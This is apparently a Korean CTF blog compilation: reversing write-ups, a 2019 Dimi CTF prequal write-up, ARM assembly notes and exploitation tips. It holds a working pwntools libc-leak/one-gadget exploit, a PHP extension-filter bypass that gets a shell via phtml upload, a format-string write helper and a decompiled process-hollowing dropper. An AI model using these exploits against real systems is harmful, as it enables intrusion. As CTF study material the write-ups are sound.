f = open('flag.jpeg','wb')
data = ''.join(chr(int(value[i],16)) for i in range(98928))
f.write(data)
f.close()

IDA Python을 이용해서 스크립트를 짜면 된다. 그러면 이미지 파일 하나가 생성된다.

FLAG : SeoRi's_Meow


J._.n3utr0n

process hallow 기법을 사용했다.

아직 좀 더 분석해야 하는 문제이다. drop.exe 파일을 드랍한 다음 svchost.exe 프로세스를 생성하고 이 프로세스에 drop.exe의 내용을 삽입하고 삭제한다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  CHAR *lpBuffer; // ST54_4
  HANDLE hFile; // ST28_4
  size_t i; // [esp+34h] [ebp-13450h]
  DWORD NumberOfBytesWritten; // [esp+40h] [ebp-13444h]
  size_t Size; // [esp+44h] [ebp-13440h]
  char Src; // [esp+48h] [ebp-1343Ch]
  char Dst; // [esp+49h] [ebp-1343Bh]
  char Buffer; // [esp+9A4Ch] [ebp-9A38h]
  char v12; // [esp+9A4Dh] [ebp-9A37h]
  CHAR CommandLine[4]; // [esp+13450h] [ebp-34h]
  CHAR CmdLine; // [esp+13458h] [ebp-2Ch]
  char v15; // [esp+13459h] [ebp-2Bh]
  char v16; // [esp+1345Ah] [ebp-2Ah]
  char v17; // [esp+1345Bh] [ebp-29h]
  char v18; // [esp+1345Ch] [ebp-28h]
  char v19; // [esp+1345Dh] [ebp-27h]
  char v20; // [esp+1345Eh] [ebp-26h]
  char v21; // [esp+1345Fh] [ebp-25h]
  char v22; // [esp+13460h] [ebp-24h]
  char v23; // [esp+13461h] [ebp-23h]
  char v24; // [esp+13462h] [ebp-22h]
  char v25; // [esp+13463h] [ebp-21h]
  char v26; // [esp+13464h] [ebp-20h]
  char v27; // [esp+13465h] [ebp-1Fh]
  char v28; // [esp+13466h] [ebp-1Eh]
  char v29; // [esp+13467h] [ebp-1Dh]
  char v30; // [esp+13468h] [ebp-1Ch]
  char v31; // [esp+13469h] [ebp-1Bh]
  char v32; // [esp+1346Ah] [ebp-1Ah]
  char v33; // [esp+1346Bh] [ebp-19h]
  char v34; // [esp+1346Ch] [ebp-18h]
  char v35; // [esp+1346Dh] [ebp-17h]
  char v36; // [esp+1346Eh] [ebp-16h]
  char v37; // [esp+1346Fh] [ebp-15h]
  char v38; // [esp+13470h] [ebp-14h]
  char v39; // [esp+13471h] [ebp-13h]
  char v40; // [esp+13472h] [ebp-12h]
  char v41; // [esp+13474h] [ebp-10h]
  char v42; // [esp+13475h] [ebp-Fh]
  char v43; // [esp+13476h] [ebp-Eh]
  char v44; // [esp+13477h] [ebp-Dh]
  char v45; // [esp+13478h] [ebp-Ch]
  char v46; // [esp+13479h] [ebp-Bh]
  char v47; // [esp+1347Ah] [ebp-Ah]
  char v48; // [esp+1347Bh] [ebp-9h]
  char v49; // [esp+1347Ch] [ebp-8h]

  v41 = 117;
  v42 = 99;
  v43 = 126;
  v44 = 97;
  v45 = 63;
  v46 = 116;
  v47 = 105;
  v48 = 116;
  v49 = 0;
  CmdLine = 114;
  v15 = 124;
  v16 = 117;
  v17 = 63;
  v18 = 116;
  v19 = 105;
  v20 = 116;
  v21 = 49;
  v22 = 62;
  v23 = 122;
  v24 = 49;
  v25 = 117;
  v26 = 116;
  v27 = 125;
  v28 = 49;
  v29 = 82;
  v30 = 43;
  v31 = 77;
  v32 = 117;
  v33 = 99;
  v34 = 126;
  v35 = 97;
  v36 = 63;
  v37 = 116;
  v38 = 105;
  v39 = 116;
  v40 = 0;
  Src = 0;
  memset(&Dst, 0, 0x9A00u);
  Size = 0;
  Buffer = 0;
  memset(&v12, 0, 0x9A00u);
  strcpy(CommandLine, "svchost");
  NumberOfBytesWritten = 0;
  sub_401770(&CmdLine, 26);
  sub_401770(&v41, 8);
  if ( !__FrameUnwindToState(0, &Src, (int)&Size) )
    return 0;
  memset(&Buffer, 0, Size + 1);
  memcpy(&Buffer, &Src, Size);
  for ( i = 0; i <= Size; ++i )
    *(&Buffer + i) = ~*(&Buffer + i) ^ 0x41;
  lpBuffer = (CHAR *)operator new[](0x104u);
  GetTempPathA(0x104u, lpBuffer);
  *(_BYTE *)(sub_401000(lpBuffer, 92) + 1) = 0;
  qmemcpy(&lpBuffer[strlen(lpBuffer)], &v41, &v41 + strlen(&v41) + 1 - &v41);
  hFile = CreateFileA(lpBuffer, 0x40000000u, 0, 0, 2u, 0x80u, 0);
  WriteFile(hFile, &Buffer, 0x9A00u, &NumberOfBytesWritten, 0);
  sub_4010C0(CommandLine, lpBuffer);
  WinExec(&CmdLine, 5u);
  return 0;
}

Ollydbg를 이용해서 마지막에 drop.exe 파일을 쓰고 이후에 삭제하는 부분을 코드패치해서 삭제 안되게 해서 C 드라이브 밑에 drop.exe 파일이 생성되게 하면 된다.

여기를 보면 svchost.exe 프로세스에서 drop.exe 파일을 생성하고 그 파일을 쓰고 마지막에 삭제해주는데 삭제해주는 부분에서 삭제파일 이름을 NOP 패치해주면 파일이 삭제되지 않을 것이다.

이후 디버깅해서 실행하면 C 드라이브에 drop.exe 파일이 생성됐을 것이다.

그리고 생성된 drop.exe 파일을 보면 이렇게 되어있는데 아래처럼 그냥 v3 긁어와서 플래그 출력하면 플래그가 안나온다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+8h] [ebp-24h]
  int v4; // [esp+9h] [ebp-23h]
  int v5; // [esp+Dh] [ebp-1Fh]
  int v6; // [esp+11h] [ebp-1Bh]
  int v7; // [esp+15h] [ebp-17h]
  int v8; // [esp+19h] [ebp-13h]
  int v9; // [esp+1Dh] [ebp-Fh]
  int v10; // [esp+21h] [ebp-Bh]
  __int16 v11; // [esp+25h] [ebp-7h]
  char v12; // [esp+27h] [ebp-5h]

  v3 = 246;
  v4 = 3532841874;
  v5 = 3469265295;
  v6 = 3667710604;
  v7 = 2631654864;
  v8 = 3654589574;
  v9 = 2631127248;
  v10 = 3503215563;
  v11 = 40408;
  v12 = 0;
  sub_401040("flag is : %s\n", &v3);
  exit(1);
}

sub_401080 함수를 보면 실제 플래그 복호화 루틴이 나온다.

이 함수를 보면 ~*(v3+i) 값과 0x43과 xor연산해준다.

int __cdecl sub_401080(int a1)
{
  signed int i; // [esp+4h] [ebp-4h]

  for ( i = 0; i < 31; ++i )
    *(i + a1) = ~*(i + a1) ^ 0x43;
  return sub_401040("flag is : %s\n", a1);
}

그러면 이제 역연산을 짜면 되겠다.

table = [0xf6,0x92,0xe3,0x92,0xd2,0x8f,0xc9,0xc8,0xce,0x8c,0xd2,0x9c,0xda,0xd0,0xdd,0xdb,0x9c,0x86,0x9c,0xd4,0xd9,0xd0,0xd0,0xd3,0x9c,0xcb,0xd3,0xce,0xd0,0xd8,0x9d]
#print ''.join(chr(255-x^0x43) for x in table)
print ''.join(chr((~x^0x43) & 255) for x in table)

FLAG : J._.n3utr0n flag : hello world!


babyarm

arm_asm.s 파일이 주어져서 핸드레이를 해야한다.

flag:
	.ascii	"]cX^r@VC`b*V+idVk_+eVD(gjt\000"
main:
	@ args = 0, pretend = 0, frame = 8
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	lr fp 순으로 stack에 값을 넣는다. 함수 프롤로그 부분
	add	fp, sp, #4
	fp
	sub	sp, sp, #8
	sp -= 8이라고 볼 수 있다. 
	스택 사용 공간을 할당하는듯 하다.
	ldr	r0, .L5
	*(r0) = .L5
	bl	srand
	bl	rand
	mov	r2, r0
	ldr	r3, .L5+4
	smull	r1, r3, r2, r3
	asr	r1, r3, #2
	asr	r3, r2, #31
	sub	r1, r1, r3
	mov	r3, r1
	lsl	r3, r3, #2
	add	r3, r3, r1
	lsl	r3, r3, #1
	sub	r3, r2, r3
	r3 = r2 - r3
	str	r3, [fp, #-8]
	*(fp-8)에 r3를 넣는다
	mov	r3, #0
	r3 = 0으로 셋팅
	str	r3, [fp, #-12]
	*(fp-12)에 r3를 넣는다.
	b	.L2
	.L2 함수 호출한다.
.L3:
	ldr	r2, .L5+8
	ldr	r3, [fp, #-12]
	add	r3, r2, r3
	ldrb	r2, [r3]	@ zero_extendqisi2
	ldr	r3, [fp, #-8]
	and	r3, r3, #255
	add	r3, r2, r3
	and	r1, r3, #255
	ldr	r2, .L5+8
	ldr	r3, [fp, #-12]
	add	r3, r2, r3
	mov	r2, r1
	strb	r2, [r3]
	ldr	r3, [fp, #-12]
	add	r3, r3, #1
	str	r3, [fp, #-12]
.L2:
	ldr	r3, [fp, #-12]
	r3 = *(fp-12)
	cmp	r3, #25
	r3가 25인지 비교하고 25면 제로 플래그 0으로 세팅
	글자수만큼 계속 ~
	ble	.L3
	.L3 연산 결과가 작거나 같으면 .L3를 호출한다.
	ldr	r1, .L5+8
	ldr	r0, .L5+12
	bl	printf
	mov	r3, #0
	r3에 0을 넣는다.
	mov	r0, r3
	r0에도 0을 넣는다.
	리턴 값에 0을 넣은 것이다. return 0; 해준듯 하다.
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
	함수 프롤로그 부분인듯하다.
a="]cX^r@VC`b*V+idVk_+eVD(gjt\000"
print ''.join(chr(ord(i)+9) for i in a)

FLAG : flag{I_Lik3_4rm_th4n_M1ps}


easy_rev

easy_rev: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=d6ab8e0c86636e8331cc465ae54a5013598dd79e, not stripped

64비트 바이너리다.

그냥 메인에서는 10개 입력 받아준다.

__int64 __fastcall swap(__int64 a1)
{
  unsigned int v2; // [rsp+18h] [rbp-48h]
  signed int v3; // [rsp+1Ch] [rbp-44h]
  int v4; // [rsp+20h] [rbp-40h]
  signed int i; // [rsp+24h] [rbp-3Ch]
  signed int j; // [rsp+28h] [rbp-38h]
  signed int k; // [rsp+2Ch] [rbp-34h]
  int v8; // [rsp+30h] [rbp-30h]
  int v9; // [rsp+34h] [rbp-2Ch]
  int v10; // [rsp+38h] [rbp-28h]
  int v11; // [rsp+3Ch] [rbp-24h]
  int v12; // [rsp+40h] [rbp-20h]
  int v13; // [rsp+44h] [rbp-1Ch]
  int v14; // [rsp+48h] [rbp-18h]
  int v15; // [rsp+4Ch] [rbp-14h]
  int v16; // [rsp+50h] [rbp-10h]
  int v17; // [rsp+54h] [rbp-Ch]
  unsigned __int64 v18; // [rsp+58h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  v2 = 0;
  v3 = 3;
  v4 = 0;
  v8 = 79;
  v9 = 4;
  v10 = 36;
  v11 = 628;
  v12 = 117;
  v13 = 62;
  v14 = 2458;
  v15 = -101;
  v16 = 41;
  v17 = 239;
  for ( i = 0; i <= 9; ++i )
  {
    if ( v4 % 3 )
    {
      if ( v4 % 3 == 1 )
        v3 -= i;
      else
        v3 += i;
    }
    else
    {
      v3 *= i;
    }
    *(_DWORD *)(a1 + 4LL * i) = v3 ^ *(_DWORD *)(4LL * i + a1);
    ++v4;
  }
  for ( j = 0; j <= 9; ++j )
    *(_DWORD *)(4LL * j + a1) ^= 0xFu;
  for ( k = 0; k <= 9; ++k )
  {
    if ( *(_DWORD *)(4LL * k + a1) == *(&v8 + k) )
      ++v2;
  }
  return v2;
}

swap함수를 보면은 v3의 값을 구해서 a1[i]의 값과 xor연산을 해준다. 그리고 밑에 보면 0xF와 xor한 값이 *(v8[i])이면 된다.

이제 이것을 역연산을 해서 구하면 된다.

table = [79,4,36,628,117,62,2458,-101,41,239]
v3 = 3
a=[]
for i in range(10):
	if i % 3:
		if i % 3 == 1:
			v3 -= i
			a.append(v3)
		else:
			v3 += i
			a.append(v3)
	else:
		v3 *= i
		a.append(v3)

b=[]
for i in range(10):
	for j in range(-3000,3000):
		if table[i] == j^15^a[i]:
			b.append(j)
			break

print 'FLAG key is : ' + str(sum(b))

브루트포스해서 풀었다.

$ ./easy_rev
==========================================
       NEWBIE REV1 right here !!
solve the magic I putted, and get the flag
==========================================
>> 64 -12 42 632 -123 53 2445 -123 63 1
++++++++++++++++++++++++++++++++++++++++++
Let's See the result!!!!
++++++++++++++++++++++++++++++++++++++++++
>> Yes, You got right ( IF YOU CERTAINLY INSERTED EXACTLY 10 NUMBERS )
>> You just need to 'add' all the no for every index. That sum is key for flag file !!
>> (flag file is encryted aes-256-cbc of openssl)

FLAG : flag{R2versing_1s_b4sed_0n_H4cking_:)}


find_flag

파이썬으로 만들어진 exe 파일이다. python-exe-unpacker 를 이용해서 풀었다.

그냥 파일 추출해주면 플래그가 있다.

FLAG : Pyth0n_m4k2_2X2_B1n4ry_:D

ARM Architecture

ARM 아키텍쳐에 대해 정리해놓으려고 한다.

참고 : Reference


Register

R0 ~ R12 : 범용 레지스터 (다목적 레지스터)
R0 : 함수 리턴 값 저장 (EAX 같은 느낌)
R0 ~ R3 : 함수 호출 인자 전달
R13 ~ R15 : 특수 레지스터
R13(SP) : 스택 포인터 : 스택의 맨 위를 가리킴
R14(LR) : 링크 레지스터 : 서브루틴 후에 돌아갈 리턴 주소 저장
R15(PC) : 프로그램 카운터 : 현재 fetch되고 있는 명령어의 주소 - 따라서 현재 실행되는 명령어의 다음다음 주소


CSPR Register

CSPR(Current Program Status Register)

CPSR의 레이아웃은 32비트를 기준으로 8 비트씩, 플래그(Flag) 비트, 상태(Status) 비트, 확장(Extension)비트, 제어(Control)비트로 나뉜다.

N(Negative) : 음수 플래그 (연산 결과가 음수일 경우)
Z(Zero) : 제로 플래그 (연산 결과가 0일 경우, 비교 결과가 같을 경우)
C(Carry) : 캐리 플래그 (연산 결과에서 자리 올림이 발생한 경우)
V(oVerflow) : 오버플로우 플래그 (연산 결과가 오버플로우 난 경우)


Instruction

형식 : <Operation>{<cond>}{S} Rd, Rn, Op2
- Operation : 명령어
- cond : 접미사
- S : CSPR Setting
- Rd(Destination Register) : 목적지 레지스터
- Rn : 레지스터
- 두 번째 OPERAND : 레지스터 or 상수(앞에 #이 붙음)

ex) ADD r0, r1, r2 ; r0 = r1 + r2


접미사

EQ	: Z Set	-> equal
NE	: Z Clear -> not equal
GE	: N equal V -> greater or equal
LT	: N not equal V	-> less than
GT	: Z Clear and (N equal V) -> greater than
LE	: Z Set or (N not equal V) -> less than or equal
S	  : Execution Instruction and CPSR Register Setting

ex) ADDEQ r0, r1, r2 ; if(ZF) r0 = r1 + r2 -> if(r0 == r1+r2){ }


Function Calling

1) 프롤로그 (서브루틴을 호출하기 직전)에 r4 부터 r11 까지 스택에 저장(push)하고 r14(리턴어드레스)를 스택에 저장(push)한다.
2) r0 - r3 중에 함수에 전달할 인자값이 있으면 이것을 r4 - r11 (임의)로 복사한다.
3) 나머지 지역변수들은 r4 - r11 중 남아있는 곳에 할당한다. 
4) 연산을 수행한 후 다른 서브루틴이 있다면 호출한다.
5) r0 에 리턴값(결과)를 저장한다.
6) 에필로그(원래있던 곳으로 복귀)에 스택에서 r4 - r11 을 꺼내고 r15(프로그램 카운터)에서 리턴어드레스(복귀주소)를 꺼낸다.


명령어

산술 연산 (<Operation>{<cond>}{S} Rd, Rn, Op2) 
ADD r0, r1, r2 ; r0 = r1 + r2
SUB r0, r1, r2 ; r0 = r1 - r2
MUL r0, r1, r2 ; r0 = r1 * r2
UMULL r0, r1, r2, r3 ; 부호가 없는 곱하기 r2 * r3 해서 하위 32비트를 r0에, 상위 32비트를 r1에 저장
SMULL r0, r1, r2, r3 ; r2와 r3의 값을 2의 보수 부호 있는 정수로 해석하고 둘을 곱하고 하위 32비트를 r0, 상위 32비트를 r1에 저장
[예제]
SUBNE r1, r2, r3 ; if(!ZF) r1 = r2 - r3
MULEQ r1, r2, r3 ; if(ZF) r1 = r2 * r3


비교 연산 (<Operation>{<cond>} Rn, Op2)
- 비교 연산 결과는 CPSR의 플래그 설정
CMP r0, r1 ; r0 - r1 
TST r0, r1 ; r0 & r2

[예제]
CMP r0 #10 ; r0이 10이면 Zero Flag 0으로 세팅


논리 연산 (<Operation>{<cond>}{S} Rd, Rn, Op2)
AND r0 r1 ; r0 & r1
EOR r0 r1 ; r0 ^ r1
ORR r0 r1 ; r0 | r1

[예제]
AND r0, r1, r2 ; r0 = r1 & r2
EORNE r0, r1, r2 ; if(!ZF) r0 = r1 ^ r2
EORGT r0, r1, r2 ; Greater than r0 = r1 ^ r2

데이터 이동 
- 메모리 접근 불가 (<Operation>{<cond>}{S} Rd, Op2)
MOV r0 r1; r0 <- r1
MVN r0 r1; r0 <~ ~r1

- 메모리 접근 가능 (<Operation>{<cond>}{B, H}{S} Rn, Op2)
* LDR과 STR은 값을 넣는 오퍼랜드 방향이 반대임
LDR r0 r1; r0 = r1(Memory)
STR r0 r1; r1(Memory) = r0

[예제]
MOVEQS r0, r1, LSR #3 ; if(ZF)r0 = (r1 >> 3); CPSR
LDRB r0, [r1], LSL # 2 ; r0 = *(Byte*)r1 << 2
LDR r0, [r1] ; r0 = *r1
LDR r0, 0xdeadbeef ; r0 = *0xdeadbeef
STR r0, [r1, #4] ; *(r1+4) = r0
STR r0, [r1], #4 ; *(r1) = r0 그리고 r1 += 4
LDRB r0, [r1, r2] ; r0 = *(Byete*)(r1+r2)
STRH r0, [r1] ; *(Half Word*)r1 = r0


주소 분기 (<Operation> {<cond>}{S} Label(function))
B operand1 ; Jump operand1
BL operand1, LR ; operand1 함수 호출 LR은 리턴 주소 저장

[예제]
BL _printf ; printf 함수 호출
BL sub_404040 ; sub_404040 함수 호출
B aaaa ; aaaa로 분기 
BEQ success ; 제로 플래그 세팅되어 있으면 success로 분기

베럴 쉬프트 (<Operation> {<cond>}{S} Rd, Rn, Op2, {<Barrel>} Shift)
LSL ; 왼쪽으로 쉬프트, 빈자리 0
LSR ; 오른쪽으로 쉬프트, 빈자리 0
ASL ; 왼쪽으로 쉬프트, 빈자리 부호
ASR; 오른쪽으로 쉬프트, 빈자리 부호

[예제]
MOV r0, r1, LSL #2 ; r0 = r1 << 2
ADD r0, r1, r2, LSL #3 ; r0 = r1 + (r2 << 3)
EOREQ r0, r1, r2, LSR r4 ; if(ZF) r0 = r1 ^ (r2 >> r4)
AND r0, r1, r2 LSR r3 ; r0 = r1 & (r2 >> r3)


Analysis Setting

arm-linux-gnueabi-gcc a.c -o a : ARM Cross Compile

qemu-arm ./a : File Execute

qemu-arm-static -L /usr/arm-linux-gnueabihf ./a : File Execute

GDB

qemu-arm-static -L /usr/arm-linux-gnueabi -g 1234 ./analysis1 : terminal1

gdb-multiarch -q : terminal2

target remote localhost:1234 : terminal2


* ARM Setting *

* 실행 오류시 참고 *


2019 Dimi CTF Prequal Writeup

한국디지털미디어고등학교에서 주최하는 CTF에 참여했다.

시험 하루전에 참여한 CTF인데 그래서 한 두시간밖에 참여하지 못해서 9등으로 마무리했다 :)

Pwanble

ropasaurusrex2

Full RELRO, NX, PIE가 걸려있는 바이너리다.

[*] '/vagrant/ctfs/ropasaurusrex2'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

메인을 보면 buf가 rbp-0x30 위치에 있는데 64만큼 입력받으면 리턴까지밖에 덮지 못한다. 근데 입력받은만큼 buf를 write해준다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rax
  char buf; // [rsp+0h] [rbp-30h]

  init();
  read(0, &buf, 64uLL);
  v3 = strlen(&buf);
  write(1, &buf, v3);
  return 0;
}

main에서 ret을 보면 __libc_start_main + 240 의 주소가 저장되는데 이를 이용해서 1byte overwrite해서 __libc_start_main + 233 main을 call하는 곳으로 ret해주면 된다.

그러면 __libc_start_main + 233 주소가 leak될 것이고 다시 메인으로 돌아오니까 리턴을 oneshot으로 덮어주면 된다.

rsp+0x18에는 메인주소가 담겨져있고 주소로 +238에서 call해준다.

exploit.py

from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
e = ELF('./ropasaurusrex2')
p = process('./ropasaurusrex2')
libc = e.libc

payload = 'A'*0x30
payload += 'realsung'
payload += '\x29'

p.send(payload)

libc_base = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00') - (libc.symbols['__libc_start_main'] + 233)
log.info('libc_base : ' + hex(libc_base))

payload2 = 'A'*(0x30)
payload2 += 'realsung'
payload2 += p64(libc_base + 0x45216)

p.send(payload2)

p.interactive()


Webhacking

5shared - 43 solver

$extension = explode('.', $file['name'])[1];
if (!in_array($extension, Array("jpg", "gif", "png")))
{
$message = "<script>alert('jpg, gif, png 확장자만 업로드할 수 있습니다.'); history.back(); </script>";
    die($message);
}

이런식으로 explode를 사용하면 test.jpg.html 이런식으로 파일을 올릴 수도 있다. 그런데 php는 막아놨다.

phtml이나 pht로 파일을 업로드할 수 있다.

플래그는 http://ctf.dimigo.hs.kr:8961/flaglfalllgllflflagflalglgllfllflflfaglflag 여기에 있다.

FLAG : DIMI{expl0d3_pht_g3t_sh3lL_:p}

simple xss

stored xss 문제

Reversing

ezthread - 7 solver

이 문제는 Anti-debugging 기법이 적용되어있다.

while ( !IsDebuggerPresent() )
    ;
exit(1);

안티디버깅이 이런식으로 되어있는데 바이너리 패치해서 우회할 수 있다. je를 jmp로 바꾸어 exit으로 가지 않게 하면 된다.

table=[102, 124, 124, 107, 78, 117, 17, 87, 100, 69, 114, 2, 80, 106, 65, 80, 6, 66, 103, 91, 6, 125, 4, 66, 125, 99, 2, 112, 76, 110, 103, 1, 98, 91, 106, 6, 18, 106, 115, 91, 69, 5, 113, 0, 76 ]
flag=[0]*45
key1=34
key2=53
key3=49
for i in range(len(table)):
	if(i%3==0):
		flag[i] = table[i] ^ key1
	elif(i%3==1):
		flag[i] = table[i] ^ key2
	elif(i%3==2):
		flag[i] = table[i] ^ key3

answer=""
for i in range(len(flag)):
	answer+=chr(flag[i])
print answer

FLAG : DIMI{D3bUgG3r_pr3sEn7_1s_V3Ry_E4Sy_70_Byp4S5}

keychecker - 17 solver

메인 함수를 보면 encode해주고 decode 해주는 함수가 있다.

./keychecker encode ~~~~ 이런식으로 써주면 argv[2]에 오는 문자가 인코딩 된다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  if ( argc != 3 )
  {
    printf("%s [mod] [text]\n", *argv, envp);
    exit(1);
  }
  if ( !strcmp(argv[1], "encode") )
  {
    encode(argv[2]);
  }
  else if ( !strcmp(argv[1], "decode") )
  {
    decode(argv[2]);
  }
  return 0;
}

encode 함수를 확인해보면 아래와 같다. decode 함수는 그냥 Your turn이라고 출력해주는 코드밖에 없다.

encode 함수는 문자를 0x23(35)랑 xor해서 2진수로 바꿔주는 코드이다. 이를 이용해서 역으로 짤 수 있다.

__int64 __fastcall encode(const char *a1)
{
  signed int j; // [rsp+Ch] [rbp-24h]
  int i; // [rsp+10h] [rbp-20h]
  int v4; // [rsp+14h] [rbp-1Ch]
  _BYTE *v5; // [rsp+18h] [rbp-18h]
  int v6; // [rsp+24h] [rbp-Ch]

  v6 = strlen(a1);
  v5 = malloc(9 * v6);
  for ( i = 0; i < v6; ++i )
  {
    a1[i] ^= 0x23u;
    v4 = a1[i];
    for ( j = 0; j < 8; ++j )
    {
      v5[8 * i + j] = v4 % 2 + 48;
      v4 /= 2;
    }
  }
  printf("%s\n", v5);
  return 0LL;
}

2진수가 주어져있어서 encode 함수를 이용해서 풀 수 있었다.

table = '1110011001010110011101100101011000011010100001100100100010110010001111101110101011001000001111100110100011101010100011100100100010110110001000100011111011100010010010001011001000100110001111101110011011001000101100100010001001111010'
table = table[::-1]
flag = ''

print ''.join(chr(int(table[i:i+8],2)^0x23) for i in range(0,len(table),8))[::-1]

FLAG : DIMI{B1n_t0_5tR1Ng_d1nG_D0ng}

gorev - 23 solver

bytes=[0x44,0x49,0x4d,0x7b,0x47,0x6f,0x5f,0x47,0x30,0x5f,0x47,0x4f,0x5f,0x67,0x6f,0x5f,0x67,0x30,0x5f,0x67,0x4f,0x5f,0x72,0x33,0x76,0x65,0x72,0x73,0x69,0x6e,0x67,0x21,0x70]
flag=""
for i in range(len(bytes)):
	flag+=chr(bytes[i]^0x14^0x14)
print flag

이 코드대로 실행하면 DIM{Go_G0_GO_go_g0_gO_r3versing!p 이렇게 나오는데 조금만 수정해주고 제출하였다.

FLAG : DIMI{Go_G0_GO_go_g0_gO_r3versing!}

Misc

Mic Check - 119 solver

FLAG : DIMI{A-A-A-A---Mic-Check!}

dimi-contract - 28 solver

음수 체크를 안해서 그냥 계속 돈을 늘릴 수 있다.

FLAG : DIMI{m1nu5_b4nk_cUrR:p7}

reader - 10 solver

nc (nc ctf.dimigo.hs.kr 1312)와 python 파일이 주어졌다.

import sys

def send(data, end='\n'):
    sys.stdout.write(data + end)
    sys.stdout.flush()

def read():
    return raw_input()

def filtering(filename):
    filter = ['flag', 'proc', 'self', 'etc', 'tmp', 'home', '~', '.', '*', '?', '\\', 'x']
    for i in filter:
        if i in filename:
            send("Filtered!")
            sys.exit(-1)


if __name__ == '__main__':
    flag = open('flag', 'r')
    send("You can't read flag")
    send("But you can read file without filter XD")
    send("Filename :> ", end='')
    filename = read()
    filtering(filename)
    try:
        f = open(filename, 'r')
        send(f.read())
    except:
        send("No such file")

0,1,2을 제외하고 다른 파일을 반복해서 열고 닫으면 fd로 3을 반복해서 얻게 된다고 한다.

payload = /dev/fd/3

$ nc ctf.dimigo.hs.kr 1312
You can't read flag
But you can read file without filter XD
Filename :> /dev/fd/3
DIMI{d3v_fd_3_plz_Cl0s3_F:D!}

FLAG : DIMI{d3v_fd_3_plz_Cl0s3_F:D!}

2015 DCTF Quals r100

간단한 키 검증 바이너리다.

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  signed __int64 result; // rax
  char input; // [rsp+0h] [rbp-110h]
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  printf("Enter the password: ", a2, a3);
  if ( !fgets(&input, 255, stdin) )
    return 0LL;
  if ( check(&input) )
  {
    puts("Incorrect password!");
    result = 1LL;
  }
  else
  {
    puts("Nice!");
    result = 0LL;
  }
  return result;
}

main을 확인해보면 fgets로 입력받아서 입력한 값을 check라는 함수에서 검사해준다.

signed __int64 __fastcall sub_4006FD(__int64 input)
{
  signed int i; // [rsp+14h] [rbp-24h]
  const char *v3; // [rsp+18h] [rbp-20h]
  const char *v4; // [rsp+20h] [rbp-18h]
  const char *v5; // [rsp+28h] [rbp-10h]

  v3 = "Dufhbmf";
  v4 = "pG`imos";
  v5 = "ewUglpt";
  for ( i = 0; i <= 11; ++i )
  {
    if ( (&v3)[i % 3][2 * (i / 3)] - *(i + input) != 1 )
      return 1LL;
  }
  return 0LL;
}

check 함수를 보면 된다. 그냥 브루트포스 안 돌려도 풀 수 있다.

저 앞에 테이블에 입력받은걸 빼면 1이여야 한다. 단순히 상수 값으로 연산했으니까 역으로 연산해주면 풀린다.


solve1.py

table=['Dufhbmf','pG`imos','ewUglpt']
flag=[]
for i in range(12):
	flag.append(chr(ord(table[i%3][2*(i/3)])-1))

print ''.join(flag)


solve2.py

import angr

p = angr.Project("r100.bin", auto_load_libs=False)
path_group = p.factory.path_group() 
print path_group.explore(find=0x400844,avoid=0x400855)
print path_group.found[0].state.posix.dumps(3)
<SimulationManager with 1 found, 2 active, 12 avoid>
Code_Talkers


solve3.py

import angr

p=angr.Project("./r100",load_options={'auto_load_libs':True})
ex=p.surveyors.Explorer(find=(0x400844,),avoid=(0x400855,))
ex.run()
key = ex.found[0].state.posix.dumps(3)
print 'Flag is : ' + key[:12]

FLAG : Code_Talkers

CTF Tips

Binary Tips

file 명령어로 봤을 때 stripped 돼있고 main 함수가 안 보인다면 start로 가면 libc_start_main으로 콜하는 데 그 중에서 첫번째 인자로 들어가는 주소가 main함수이다.

윈도우 바이너리 같은 경우는 start에서 2번째 호출되는 함수의 exit()의 인자로 들어가는 result 가 main이다.


pwntools Create Shellcode

asm(shellcraft.amd64.sh(), arch='amd64')


pwntools libc symbol

leak_libc = ELF('./leak_libc')
libc_system = libc_base_addr + leak_libc.symbols['system']


64 bit ROP

[buf] +  gadget [pop rdi; ret] + [/bin/sh string addr] + [system addr]


Function Offset

printf_off = e.symbols['printf']
system_off = e.symbols['system']

libc_base = printf - printf_off
system = libc_base + system_off

binsh = libc_base
binsh += e.search('/bin/sh').next()


FSB

스택 내 주소 한번에 출력

스택의 1337번째의 값을 hex 값으로 출력 (info leak)

printf("%LENGTH$08x"); -> printf("%1337$08x");

주소 값 한 번에 변조

스택의 12번째의 값에 저장되어 있는 주소에 앞에 출력된 바이트 수만큼 덮음

printf("%LENGTH$n"); -> printf("%12$n");

%n -> 앞에 쓰인 바이트만큼 4byte 채움

%hn -> 앞에 쓰인 바이트만큼 2byte 채움

%hhn -> 앞에 쓰인 바이트만큼 1byte 채움

64bit FSB - by JSEC

def fmt(prev , target):
	if prev < target:
		result = target - prev
		return "%" + str(result)  + "c"
	elif prev == target:
		return ""
	else:
		result = 0x10000 + target - prev
		return "%" + str(result) + "c"

def fmt64(offset , target_addr , target_value , prev = 0):
	payload = ""
	for i in range(3):
		payload += p64(target_addr + i * 2)
	payload2 = ""
	for i in range(3):
		target = (target_value >> (i * 16)) & 0xffff 
		payload2 += fmt(prev , target) + "%" + str(offset + 8 + i) + "$hn"
		prev = target
	payload = payload2.ljust(0x40 , "a") + payload
	return payload

64bit에서는 %lx로 8byte leak 가능


nc tip

nc로 바이너리가 주어질 때 있는데 아래처럼 바이너리 같은지 확인 가능하다.

$ nc 주소 > 1
$ nc 주소 > 2
$ nc 주소 > 3
$ nc 주소 > 4
$ nc 주소 > 5
$ md5sum * 
$ rm *


Input

strcpy, fgets, scanf 함수 같은 경우는 입력받고 마지막에 Null Byte를 삽입한다.

recv, read 함수는 입력 받은 후 Null Byte를 삽입하지 않는다.


Python Tips

xor

